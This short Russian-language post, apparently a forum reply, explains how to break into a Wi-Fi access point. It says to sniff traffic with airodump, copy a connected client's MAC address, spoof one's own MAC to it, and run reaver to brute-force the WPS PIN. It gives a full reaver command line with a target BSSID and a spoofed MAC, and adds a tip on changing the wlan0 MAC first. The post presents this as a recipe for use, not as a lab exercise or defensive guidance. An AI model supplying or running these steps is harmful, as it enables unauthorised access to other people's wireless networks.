airodump-ом послушай эфир, посмотри МАС адреса клиентов этой точки, смени свой МАС на клиентский и наслаждайся процессом.

Например: reaver -i mon0 -c 1 -f -b 00:15:6d:7c:65:28 -m 27:22:5a:00:11:20 -S -vv

А правильнее перед этим сменить МАС wlan0 на подставной, тогда спуфинг работает корректнее..